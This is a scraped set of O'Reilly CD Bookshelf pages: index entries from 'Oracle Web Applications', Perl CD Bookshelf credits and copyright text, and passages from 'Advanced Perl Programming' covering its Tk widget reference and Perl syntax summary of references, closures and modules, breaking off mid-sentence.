WebDB dashboard : 3.1.3.1. User-uploaded content
users, database
2.5.1. Database Users
3.1.1.2. Administer WebDB and database security

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: V

values, assigning in PL/SQL : 6.2.2.2. Assigning values
variable persistence : 6.3.6. Variable Persistence Throughout a Session
variables, in PL/SQL : 6.2.2. Variables
vc_arr data structure, OWA_TEXT package : 7.2.1.1. Data structures
VERIFY_VALUES function, OWA_OPT_LOCK package : 7.3.2.2. Procedures and functions
Video Information Retrieval (VIR) cartridge : 1.3.9. Oracle interMedia
videos : 1.3.9. Oracle interMedia
view wizard, WebDB : 3.1.2.1. Building database objects
view_message procedure, FORUM package
8.3.6. The FORUM Package
8.3.6.2. Body
view_results procedure, EMP_SURVEY package
8.2.4. The EMP_SURVEY Package
8.2.4.2. Body
virtual directories, WebDB : 3.2.3.2. Virtual directory mappings
virtual machine : 2.2.4. The Web Browser
Virtual Reality Modeling Language (VRML) : 2.1. Resources
VMS : 1.2.1.3. Tracking changes

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: W

WAN : 1.1. The Internet Grows Up
WAV format : 1.3.9.2. Multimedia data
web applications
e-commerce : 1.1. The Internet Grows Up
Enterprise Resource Planning (ERP) and : 1.1. The Internet Grows Up
internal : 1.1. The Internet Grows Up
mobile : 1.1. The Internet Grows Up
web applications, designing
1.4.2. Develop Web Applications with HTML and PL/SQL
8. Developing Applications
data models : 8.3.2. Data Model
Example: a discussion forum : 8.3. Example 2: A Discussion Forum
Example: an anonymous survey : 8.2. Example 1: An Anonymous Survey
using PL/SQL packages : 8.1.4. Use PL/SQL Packages
web management, content driven : 1.3.5. WebDB
Web Request Broker (WRB) : 4.1.3. Dynamic Resources Mapped to the Web Request Broker
web site management, WebDB : 3.1.3. Content-Driven Web Site Management
web sites, tracking changes : 1.2.1.3. Tracking changes
web technologies : 1.1. The Internet Grows Up
application development : 1.2. Current Web Techniques Are Inadequate
application integration : 1.2. Current Web Techniques Are Inadequate
content management : 1.2. Current Web Techniques Are Inadequate
electronic data exchange : 1.2. Current Web Techniques Are Inadequate
inadequacies of current techniques : 1.2. Current Web Techniques Are Inadequate
WebAlchemy : 7.1.2. WebAlchemy
WebDB
1.3. Oracle's Solution -- Oracle8i
1.3.5. WebDB
3. WebDB
application development : 3.1.2. Application Development
architecture : 3.2. WebDB Architecture
content-driven web site management : 3.1.3. Content-Driven Web Site Management
database administration : 3.1.1. Database Administration
database object wizards : 3.1.2.1. Building database objects
wizards : 3.1.2.1. Building database objects
WebDB component : 3.1.3.1. User-uploaded content
WHILE loop : 6.2.4. Loops
WHO_CALLED_ME procedure : 7.4.1.1. Debugging
Windows 95 : 2.2.1. The TCP/IP Network
Windows 98 : 2.2.1. The TCP/IP Network
Windows NT : 2.2.1. The TCP/IP Network
wizards, WebDB : 3.1.2.1. Building database objects
WRB dispatcher : 4.1.3.2. WRB Executable Engines
WRB executable engines : 4.1.3.2. WRB Executable Engines

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: X

XML (Extensible Markup Language)
1.1. The Internet Grows Up
1.3. Oracle's Solution -- Oracle8i
1.3.3. XML
9. XML
DTDs : 9.3. The Document Type Definition (DTD)
iFS : 9.7. XML and iFS
generating an XML index from Oracle : 9.5. Example: Generating an XML Invoice from Oracle
parsers : 9.4. The XML Parser
PLSXML : 9.6. PLSXML Utilities and Demos
XML_INVOICE_PKG : 9.5. Example: Generating an XML Invoice from Oracle

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: Y

Yahoo! : 1.2.1.1. Finding what you need

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Oracle PL/SQL Web Applications Search Page

Oracle PL/SQL Web Applications

Oracle PL/SQL Web ApplicationsSearch this book

Full Text Search

If you are having difficulty searching, or if you have not used this search utility before, please read this.

The Oracle PL/SQL CD Bookshelf Navigation Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


O'Reilly Copyright Statement

The electronic versions of Perl in a Nutshell, Learning Perl, Learning Perl on Win32 Systems, Programming Perl, Advanced Perl Programming, and Perl Cookbook are copyright © 1999 by O'Reilly & Associates, Inc.; all rights reserved.

This CD-ROM is intended for use by one individual. As such, you may make copies for your own personal use. However, you may not provide copies to others, or make this reference library available to others over a LAN or other network. You may not reprint, offer for sale, or otherwise re-use material from this book without the explicit written permission of O'Reilly & Associates, Inc. If you would like to discuss licensing for multiple users, contact service@oreilly.com.

You can purchase print editions of these books directly from O'Reilly & Associates, Inc. (see http://www.oreilly.com/order_new/) or from bookstores that carry O'Reilly & Associates books.

Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in this book, and O'Reilly & Associates, Inc., was aware of the trademark claim, the designations have been printed in caps or initial caps.

While every precaution has been taken in the preparation of this book, the publisher assumes no responsibility for errors or omissions, or for damages resulting from the use of the information contained herein.

The Perl CD Bookshelf Navigation The Perl CD Bookshelf Perl in a Nutshell Learning Perl Learning Perl on Win32 Systems Programming Perl Advanced Perl Programming Perl Cookbook

This product is printed with 100% recycled electrons.


The Perl CD Bookshelf

Credits

The Books

Perl in a Nutshell
By Stephen Spainhour, Ellen Siever & Nathan Patwardhan
1-56592-286-7, 674 pages
First Edition, December 1998

Learning Perl
By Randal L. Schwartz & Tom Christiansen
1-56592-284-0, 302 pages
Second Edition, July 1997

Learning Perl on Win32 Systems
By Randal L. Schwartz, Erik Olson & Tom Christiansen
1-56592-324-3, 306 pages
First Edition, August 1997

Programming Perl
By Larry Wall, Tom Christiansen & Randal L. Schwartz
1-56592-149-6, 670 pages
Second Edition, September 1996

Advanced Perl Programming
By Sriram Srinivasan
1-56592-220-4, 434 pages
First Edition, August 1997

Perl Cookbook
By Tom Christiansen & Nathan Torkington
1-56592-243-3, 794 pages
First Edition, August 1998

The Perl CD Bookshelf

Product Manager
Linda Walsh
Production Editor
Ellie Cutler
Technical Development
Christopher Maden
Creative Director
Edie Freedman
Tools
Christopher Maden, Lenny Muellner, and Donald Ohl
Index
Seth Maislin
Quality Assurance
Kevin Bingham, Ellie Cutler, Julie Drouin, Stephen Figgins, and Paul LaBrier
CD-ROM Search Engine
Astaware technologies Inc.

The Perl CD Bookshelf Navigation The Perl CD Bookshelf Perl in a Nutshell Learning Perl Learning Perl on Win32 Systems Programming Perl Advanced Perl Programming Perl Cookbook


The Perl CD Bookshelf

Combined Index
Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

The Perl CD Bookshelf Navigation Perl in a Nutshell Learning Perl Learning Perl on Win32 Systems Programming Perl Advanced Perl Programming Perl Cookbook

The Perl CD Bookshelf, version 1.0, is copyright © 1999 by O'Reilly & Associates. All rights reserved.
Questions, comments, and suggestions to bookquestions@ora.com.


[Appendix A] Tk Widget Reference

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book
Previous: 20.8 Resources Appendix A Next: A.2 Canvas

A. Tk Widget Reference

Contents:
Button
Canvas
Entry
Listbox
Menus
Scrollbars and Scrolling
Scale
HList - Hierarchical List

The least flexible component of any system is the user.

- Lowell Jay Arthur

This appendix covers the most commonly used properties and methods of Tk widgets. Please refer to the extensive online documentation accompanying the Tk distribution for more details.

Table A.1 shows all the properties and methods shared by almost all widgets.

Table A.1: Generic Widget Properties
Properties | Description
font | Discussed in the section "Fonts".
background, foreground | A name ("red") or an RGB value ("#FF00FA"). The options can also be abbreviated to bg and fg. Discussed in the section "Colors".
text | The string to be displayed inside the widget. This is displayed in the foreground color in the font specified above.
image, bitmap | Specifies a bitmap to be displayed inside the widget. Refer to the section "Images" for a discussion on creating and managing bitmaps.
relief | Border style: one of raised, sunken, flat, ridge, or groove. Should be accompanied by a nonzero borderwidth option.
height, width | Typically the height and width in pixels, except for labels, buttons, and text widgets, in which it is in number of characters (a multiple of average character width and height in that widget's font).
textvariable | Specifies the name of a variable. When the value of a widget changes, this variable is updated, and vice versa.
anchor | Specifies how the widget or the information within it is positioned. Must be one of n, ne, e, se, s, sw, w, nw, or center. For example, an anchor value of "nw" tells a label widget to display its label text at its top-left corner.
Methods |
configure( ) | Change many attributes at once: $widget->configure ('bg' =>'red','width' => 20);
cget( ) | Get the current value for a given option: $color = $widget->cget('bg');

Note that properties such as text and textvariable are not applicable to all widgets; for example, text is wasted on a scrollbar. The properties can optionally be preceded by a hyphen (it is necessary to do so in Tcl/Tk but is optional in Perl/Tk).

A.1 Button

Buttons are labels with one additional property: the command option, shown in Table A.2. As was mentioned earlier, these properties are in addition to many of the ones mentioned in Table A.1.

Table A.2: Button Methods and Properties
Properties | Description
command | Specifies a reference to a Perl subroutine, which is called when mouse button 1 (by default) is released over the button.
width, height | Specifies the width and height in characters.
Methods |
flash( ) | Flashes the button by briefly toggling its colors.
invoke( ) | Invokes the Perl subroutine associated with the button, if any.

A.1.1 Radiobutton

Table A.3: Radiobutton Properties and Methods
Properties | Description
command | Specifies a reference to a Perl subroutine, which is called when mouse button 1 (by default) is released over the radiobutton. The variable associated with "variable" is updated before the command is invoked.
variable | Takes a reference to a variable and updates it with the "value" property's value when the button is clicked. Conversely, when it is updated to have the same value as the "value" property, it selects the button (or deselects it in all other cases).
value | Specifies the value to store in the button's associated variable whenever this button is selected.
Methods |
select( ) | Selects the radiobutton and sets the associated variable to the value corresponding to this widget.
flash( ) | Flashes the button by briefly toggling its colors.
invoke( ) | Invokes the Perl subroutine associated with the button, if any.

A.1.2 Checkbutton

Table A.4: Checkbutton Properties and Methods
Properties | Description
command | Specifies a reference to a Perl subroutine, which is called when mouse button 1 (by default) is released over the button. The variable associated with "variable" is updated before the command is invoked.
variable | Takes a reference to a variable and updates it with the "onvalue" or "offvalue" property's value, depending upon the state of the indicator. Conversely, when it is updated, it matches itself with one of these values and appropriately selects or deselects itself.
onvalue, offvalue | Toggles the indicator depending upon which of these values match the variable's value. They default to 1 and 0, respectively.
indicatoron | If false, it does not display the indicator. Instead, it toggles the "relief" property of the entire widget (which makes it looked like a pressed button).
Methods |
select( ) | Selects the checkbutton and sets the associated variable to the "onvalue" value.
flash( ) | Flashes the button by briefly toggling its colors.
invoke( ) | Invokes the Perl subroutine associated with the command property, if any.
toggle( ) | Toggles the selection state and the variables value of the button.

Previous: 20.8 Resources | Advanced Perl Programming | Next: A.2 Canvas
20.8 Resources | Book Index | A.2 Canvas


[Appendix A] A.2 Canvas

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

A.2 Canvas

Table A.5 shows the properties of each item that is supported by the canvas widget and configured by using the widget's itemconfigure method. The widget itself has no particularly interesting properties. However, the methods shown in the latter half of the table are the widget's, even if they mostly apply to the individual canvas item types. Please note that all methods that take an item ID as a parameter can also take a preconfigured tag name as a parameter.

Table A.5: Canvas Class
Item Properties | Description
Common properties |
fill, outline | Colors for filling the region and outline.
tags | A list of strings. These are tags applicable to this item. You can add more to this list with addtag.
stipple, outlinestipple | Draw the interior or outline with a stipple pattern. The bitmap value specifies the stipple pattern.
width | Width of the outline.
Arc |
start, extent | Angles in degrees, moving counterclockwise.
style | pieslice, chord, arc. In the last case, the fill option is ignored.
Bitmap |
anchor | As in widget properties shown earlier.
bitmap | The bitmap to display.
background, foreground | Colors for each of the bitmap pixels.
Image |
anchor | As in widget properties shown earlier.
image | The image to display.
Line |
arrow | First, last, both, or none. The end at which an arrow should be drawn.
arrowshape | A reference to a list containing three dimensions a, b, and c like this:
fill | Color.
smooth, splinesteps | If 1, draws a bezier curve instead of a polyline. Each spline is approximated with the number of spline steps.
Polygon |
smooth, splinesteps | See "Line" above.
Oval |
Standard item properties |
Rectangle |
Standard item properties |
Text |
text, anchor | Position text with respect to anchor.
justify | Text justification: left, right, or center.
Window |
window | Specifies the widget to associate with this item. The widget must have been created as the canvas's child.
Methods |
create (type, x, y [x1, y1], [options...]) | Type can be one of the above item types (non-capitalized). Returns a unique integer ID.
itemconfigure (ID, options..) | Configures one or more of the above parameters.
addtag, dtag | Add tags to items and delete them. Please see Tk documentation for tag specifications.
bind | Discussed in the section "Event Bindings".
coords (ID [x0, y0 ...] ), move (id, xamount, yamount) | Move the item to the new location. coords is an absolute move, while move does it relative to current position.
delete (ID, [ID, ...] ) | Delete the item (or items) that correspond to the tag or ID.
find (searchCommand? arg ...? ) | Find all items that meet a certain constraint. Constraints are of the form "above $id," "all," "below $id," "closest x y," "enclosed x1 y1 x2 y2," "withtag id," and so on.
postscript (?option value option value ...? ) | Generate PostScript representation for part or whole of the canvas. Please check the Tk canvas documentation for the postscript rendering options.
raise, lower | Raise or lower the item.
scale (ID, xOrigin, yOrigin, xScale, yScale ) | Rescale all of the items given by ID.

A.2.1 Text

Many of the text widget methods take one or more indices as arguments. An index can be an absolute number ("base") or a relative number ("base" + modifier). Both types of indices are specified as strings. The commonly used base indices are the following:

line.char

Indicates char'th character on line. Lines are numbered from 1 for consistency with other Unix programs that use this numbering scheme. Within a line, characters are numbered from 0.

end

Indicates the end of the text (the character just after the last newline).

insert

Where the insertion cursor is currently poised.

mark

Indicates the character just after the mark whose name is mark.

tag.first, tag.last

Indicates the first and last character of a tag.

These absolute positions can be modified with one or more qualifiers:

+count chars, -count chars, +count lines, -count lines

Adjust the base index by count characters or lines.

wordstart, wordend, linestart, lineend

Adjust the index to point to the first character on the word or line referred to by the index, or just after the word or line.

Table A.6 shows some of the more interesting text properties and methods.

Table A.6: Text Properties and Methods
Text | Description
tabs | Specifies a set of tab stops for the window, as a reference to list of strings. Each string is a number followed by "l," "c," or "r" (left, center, right - to specify how the text is aligned respective to the tab).
height, width | Specifies height and width in number of characters.
state | normal or disabled
Methods |
Text Manipulation |
insert (index, {string, [tag]}+, ) | Insert one or more strings with an optional tag at index. Index can be any of the index forms explained earlier.
delete(index1, [index2]) | Delete character at index1, or the range index1 .. index2.
get (index1, [index2]) | Get character at index1, or the range index1 .. index2.
see (index) | Scroll widget so that the index position is visible.
search([switches], pattern, index, [stopIndex]) | Searches for text and returns the first index that matches the pattern. The search stops at stopIndex, if it is specified; otherwise it wraps around. Switches include forward, backward, exact (exact match - default), regexp, -nocase (ignore case), -count var (var is the reference to a variable, into which search stores the length of the matched string). The list of switches is terminated by " - ".
Indexing |
index (index) | Returns an absolute index of the form line.col, given any of the other index forms.
see (index) | Ensures that the text at index is visible.
markSet (markName, index) | Give a logical bookmark name to that index.
markUnset (markName) | Remove bookmark.
Tag Manipulation |
tagAdd (tagName, {index1. [index2]}+) | Add tags to positions or ranges of characters. insert is another way of tagging text.
tagRemove (tagName, {index1. [index2]}+ | Removes the tag from the specified areas but doesn't delete the tag itself.
tagDelete | Removes and delete the tag.
tagConfigure | Configure one or more properties for a tag. The tag properties are given below.
Tag Properties |
-foreground, -background, -fgstipple, -bgstipple, -font | The usual stuff. Try not to overuse these tags, or the text will look like a ransom note - bits and pieces cut from different newspapers and magazines.
-justify, | center, left, right.[1]
-relief, -borderwidth | Should specify both border width and background for relief to show up.
-tabs | Applies only if the first character in that line also belongs to the same tag.
-underline | Boolean option.

[1] Text processing has made it possible to right-justify any idea, even one which cannot be justified on any other grounds.

- J. Finnegan, USC.

Previous: A.1 Button | Advanced Perl Programming | Next: A.3 Entry
A.1 Button | Book Index | A.3 Entry


[Appendix A] A.3 Entry

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

A.3 Entry

Entry widgets are simple one-line text widgets. They do not support tags, marks, or embedded windows. The indexing syntax is consequently simpler:

number

Index into its contents, starting from 0.

end

End of the text.

insert

The position immediately after the insertion cursor.

sel.first, sel.last

Indicates the first and last character of a tag.

The index argument for all methods in Table A.7 accepts any of the styles described above.

Table A.7: Entry Widget Properties and Methods
Properties | Description
show | If false, it displays "*", not the real contents, and is used for obtaining passwords. Note that if the text is selected and pasted elsewhere, the real contents show up.
Methods |
get (index) | Gets the entire string.
insert (index, string) | Inserts a string at the index.
index (index) | Returns the numerical index.
selectionFrom (index) selectionTo (index) selection (from,to) selectionClear | To set or adjust the selection.
selectionPresent | True if there's a selection.

Previous: A.2 Canvas | Advanced Perl Programming | Next: A.4 Listbox
A.2 Canvas | Book Index | A.4 Listbox


[Appendix A] A.4 Listbox

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

A.4 Listbox

Let us take a look at the indexing syntax before we examine Table A.8, which details listbox properties and methods:

number

The index of the row, starting from 0.

end

Indicates the end of the row.

active

Where the location cursor is currently poised. The active location appears underlined.

anchor

The anchor point of the selection.

Table A.8: Listbox Widget Properties and Methods
Properties | Description
height, width | Height in lines and width in characters. If 0, the widget resizes to accommodate all elements.
selectMode | One of single, browse, multiple, or extended.
Methods |
get (index) | Get the entire string.
insert (index, string) | Inserts a string at the index.
delete (index, [last]) | Deletes at index or within range.
index (index) | Return the numerical index.
see (index) | Bring the index'th element within view.
selectionFrom (index) selectionTo (index) selection (from,to) selectionClear ( ) | Set or adjust the selection.
selectionPresent () | True if there's a selection.
curselection( ) | A list of indices of the elements that have been selected.

Previous: A.3 Entry | Advanced Perl Programming | Next: A.5 Menus
A.3 Entry | Book Index | A.5 Menus


[Appendix A] A.5 Menus

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

A.5 Menus

Menu buttons support the methods shown in Table A.9. They also support the methods of Table A.10 and delegate those calls to the underlying Menu widget.

Table A.9: MenuButton Widget Properties and Methods
Properties | Description
indicatorOn | If true, shows a small diamond to the right of the entry.
state | normal, active, or disabled.
Methods |
command separator radiobutton checkbutton cascade | These methods are simply delegated to the underlying menu. Please see the menu object's description in Table A.10.
menu | Return the underlying menu associated with this menu button.

Each method of the Menu widget understands the following indexing syntax:

number

The index of the entry, starting from 0. When the tear-off option is active, the 0th entry is a separator automatically inserted by the menu.

end, last

Indicates the last entry.

active

Where the location cursor is currently poised. The active location appears underlined.

none

Indicates that none are active. Used along with activate() to deactivate all entries.

pattern

A pattern to be matched against all entries. Currently, only exact matches are guaranteed to work.

Table A.10 shows the properties of the Menu widget and the options available for each type of entry.

Table A.10: Menu Widget Properties and Methods
Menu Widget Properties | Description
indicatorOn | If true, shows a small diamond to the right of the entry.
selectColor | The color of the indicator, if one is displayed.
tearOff | If true, the 0th entry of the menu is a separator. When you click on it, the menu "tears off" and gets a separate top-level window.
Menu Entry Properties |
Appearance: |
foreground, background, font, image, indicatorOn,label | The usual properties. Note that it is label, not text.
underline | The integer index of a character to underline.
accelerator keysequence | Shows a string to be displayed on the right of the label. Unlike Motif, you have to set up the key binding (typically on the top window) yourself. This option is for display only.
Action and Values: |
state | normal, active, or disabled.
command | For buttonlike entries, the reference of a subroutine to call.
value var | For radiobutton entries. Please see Table A.3.
variable var | Available only for checkbutton and radiobutton entries.
onvalue val, offvalue val | For checkbutton entries. Stored in the associated variable.
Methods |
command (options) separator (options) radiobutton (options) checkbutton (options) cascade (options) | Creates the corresponding type of entry item. Each entry takes its own configuration options, as illustrated above.
add (type,options) | The commands above translate to this call.
delete (index1, [index2]) | Deletes entry or range of entries.
insert (index1, type, options) | Like add, but inserts at the requested index.
entryconfigure (index, options), entrycget (index) | Configure and retrieve menu entry properties.

Previous: A.4 Listbox | Advanced Perl Programming | Next: A.6 Scrollbars and Scrolling
A.4 Listbox | Book Index | A.6 Scrollbars and Scrolling


[Appendix A] A.6 Scrollbars and Scrolling

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

A.6 Scrollbars and Scrolling

Scrollbars support the methods and properties shown in Table A.11.

Table A.11: Scrollbar Properties and Methods (in addition to Table 8-1)
Properties | Description
command | Callback is typically used to change the view in the associated widget (that is, calls that widget's xview or yview ).
Methods |
set (first, last) | This is typically invoked by the associated widget to tell it about the widget's current view. Both first and last are fractions between 0 and 1. Values of 0.2 and 0.6 tell the scrollbar that the widget is currently showing the area between 20% and 60% of the document, respectively.
get | Returns the scrollbar settings as a list (first, last).

All scrollable widget types that can be scrolled (listbox, text, canvas) support the methods in Table A.12 in addition to their own (and the generic ones listed in Table A.1).

Table A.12: Scrollable Widget Properties and Methods
Properties | Description
xscrollincrement, yscrollincrement | If specified, scrolling can be done in units of these increments.
xscrollcommand, yscrollcommand | Tell widget what to do when it repositions internally. Typically, this option looks like this: $scrollbar->configure
Methods |
yview (`moveto', fraction) | xview, yview come in two forms. If the first argument is "moveto," then the widget is instructed to change its view in a way that fraction represents the topmost (or leftmost, in the case of xview) line or pixel.
yview(`scroll', number, what) (similarly for xview) | This instructs the widget to adjust the view in the window up or down according to number of increments. what specifies whether these increments are in units or pages. If what is units, then it is in terms of the increment properties shown above.

Previous: A.5 Menus | Advanced Perl Programming | Next: A.7 Scale
A.5 Menus | Book Index | A.7 Scale


[Appendix A] A.7 Scale

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

A.7 Scale

Table A.13: Scale Methods and Properties
Properties | Description
command | Specifies a reference to a Perl subroutine, which is called when the scale's value is changed.
variable | Reference to a variable to be updated whenever the slider moves. Conversely, if you want the slider to move, you can change the variable.
width, length | Specifies the width and the length of the scale in pixels. Note that it doesn't support a property called height.
orient | Horizontal or vertical.
from, to | Real numbers.
resolution | If greater than 0, the value displayed and returned is always in even multiples of this value. Defaults to 1.
tickinterval | Spacing between numerical tick marks. If 0, no tick marks are displayed.
label, font | A label to be displayed on the top or the left of the slider (depending on orientation).
Methods |
set(value) | Same as updating the variable to the given value.

Previous: A.6 Scrollbars and Scrolling | Advanced Perl Programming | Next: A.8 HList - Hierarchical List
A.6 Scrollbars and Scrolling | Book Index | A.8 HList - Hierarchical List


[Appendix A] A.8 HList - Hierarchical List

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

A.8 HList - Hierarchical List

This widget is part of the Tix distribution and is supported by Perl/Tk just like any other Tk widget. Table A.14 shows the properties.

Table A.14: HList Methods and Properties
Properties | Description
command | Specifies a reference to a Perl subroutine, which is called when an entry is double clicked upon.
drawbranch | If true, draws lines connecting parent and children and sibling entries.
browsecmd | Called whenever any mouse click or drag event happens over an entry.
columns | Each level of indentation is a column. Column sizes can be individually tailored.
separator | The separator character. Defaults to "."
selectmode | single, browse, multiple, or extended.
indent | Indent amount for each successive level, in pixels.
Methods |
add (entrypath, option, values) | Creates a new entry. The options can be at position, before path, after path, and all the entry properties discussed below.
delete (option, entrypath) | Option can be all, entry, offsprings, siblings
column (col, width) column (col, `char', nchars) | Set the width in pixels or in terms of character widths.
entryconfigure, entrycget | Set/get the entry properties discussed below.
info (option, entryPath) | Option can be children, exists, hidden, next, prev, selection, and so on.
hide, show | Hide or show an entry
Entry Properties |
`itemtype' | text, imagetext, and widget.
`text' | The label of that entry.
`image' | A bitmap or a pixmap. Used if itemtype is imagetext.

Note that this is a scrollable widget, so it also supports the generic xscrollcommand and yscrollcommand properties listed in Table A.12. This also means that a simple way to create a scrolled HList box is to call $parent->ScrlHList(options).

Previous: A.7 Scale | Advanced Perl Programming | Next: B. Syntax Summary
A.7 Scale | Book Index | B. Syntax Summary


[Appendix B] Syntax Summary

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book
Previous: A.8 HList - Hierarchical List Appendix B Next: B.2 Nested Data Structures

B. Syntax Summary

Contents:
References
Nested Data Structures
Closures
Modules
Objects
Dynamic Behavior
Exception Handling
Meta-Information
Typeglobs
Filehandles, Formats

Thus spake the Master Ninjei:"To the intelligent man, one word, to the fleet horse, one flick of the whip, to the well-written program, a single command."

- The Zen of Programming

This appendix provides a distillation of all syntax used in this book.

B.1 References

  1. Scalar references:

    $ra  = \$a;              # reference to scalar
$$ra = 2;                # dereference scalar-ref
$ra  = \1.6;             # reference to constant scalar

  2. Array references:

    $rl  = \@l;              # reference to existing
$rl  = [1,2,3];          # reference to anon. scalar
push (@$rl, "a");        # Dereference
print $rl->[3]           # 4th element of array pointed to by $rl

  3. Hash references:

    $rh = \%h;               # reference to hash
$rh = {"laurel" => "hardy", "romeo" => "juliet"}; # ref to anon-hash
print keys (%$rh);       # Dereference
$x = $rh->{"laurel"};    # Arrow notation to extract single element
@slice = @$rh{"laurel","romeo"}; # Hash slice

  4. Code references:

    $rs = \&foo;             # reference to existing subroutine foo
$rs = sub {print "foo"}; # reference to anonymous subroutine
                         # (remember the semicolon at the end)
&$rs();                  # dereference: call the subroutine

  5. Generalized dereferences. Any code inside a block yielding a reference can be dereferenced:

    @a = @{foo()};           # dereference the array reference
                         # returned by foo()

  6. References gotchas. All the examples below are wrong. Always use -w in developing and testing.

    @foo = [1,3,4];          # Assigning an array-ref to an array
                         # Use parentheses instead.

%foo = {"foo" => "bar"}; # Assigning a hash-ref to a hash.
                         # Use parentheses instead.

$foo = \($a, @b);        # Identical to $foo = (\$a, \@b)
                         # Assiging an enumerated list to a
                         # scalar yields the last element (so,
                         # $foo gets \@b). Use [ ] if you need
                         # an array reference

Previous: A.8 HList - Hierarchical List | Advanced Perl Programming | Next: B.2 Nested Data Structures
A.8 HList - Hierarchical List | Book Index | B.2 Nested Data Structures


[Appendix B] B.2 Nested Data Structures

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

B.2 Nested Data Structures

Each array or hash is a collection of scalars, some or all of which can be references to other structures.

  7. Lists do not nest like this:

    @foo = (1, 3, ("hello", 5), 5.66);

    For nesting, make the third element a reference to an anonymous array:

    @foo = (1, 3, ["hello", 5], 5.66);

  8. An example of a nested data structure (a hash of array of hashes):

    $person = {   # Anon. hash
   "name" => "John",  # '=>' is an alias for a comma
   "age"  => 23,
   "children" => [  # Anonymous array of children
                     {
                        "name" => "Mike",  "age"  => 3,
                     },
                     {
                        "name"  => "Patty","age"   => 4
                     }
                 ]
   };
print $person->{age}                 ; # Print John's age
print $person->{children}->[0]->{age}; # Print Mike's age
print $person->{children}[0]{age}    ; # Print Mike's age, omitting
                                       # arrows between subscripts

  9. To pretty-print $person above:

     use Data::Dumper;
 Data::Dumper->Dumper($person);
 # Or,
 require dumpVar.pl;
 main::dumpValue($person);

Previous: B.1 References | Advanced Perl Programming | Next: B.3 Closures
B.1 References | Book Index | B.3 Closures


[Appendix B] B.3 Closures

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

B.3 Closures

  10. An anonymous subroutine that grabs lexical variables from its containing environment is a closure. Remember that it does not just take a snapshot of the value at the instant the anonymous subroutine is seen.

    # declare an anonymous subroutine, and return a reference to it.
my $foo = 10;
$rs = sub {
           print "Foo is $foo\n"; # Grabs $foo
      };
&$rs();    # Call the closure through the reference

  11. The closure keeps the grabbed variable's value around even when the variable goes out of scope.

    sub init_counter {
     my $num = shift;  # lexical variable to be grabbed
     $rs = sub { print $num++," "; };
     return $rs;
}
$rs_counter = init_counter(10);  # $rs_counter is a ref-to-sub
for (1..5) {&$rs_counter()};     # Prints 10 through 14

Previous: B.2 Nested Data Structures | Advanced Perl Programming | Next: B.4 Modules
B.2 Nested Data Structures | Book Index | B.4 Modules


[Appendix B] B.4 Modules

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

B.4 Modules

  12. The package keyword starts a new namespace (which lasts until another package declaration or until end of block). All user-defined global identifiers (variables, subroutines, filehandles) belong to this package. Lexical variables do not belong to any package.

    package Employee; # Put in file Employee.pm
@employees = ("John", "Fred", "Mary", "Sue");
sub list_employee { print @employees; }
1;                # Last executing statement in file must be
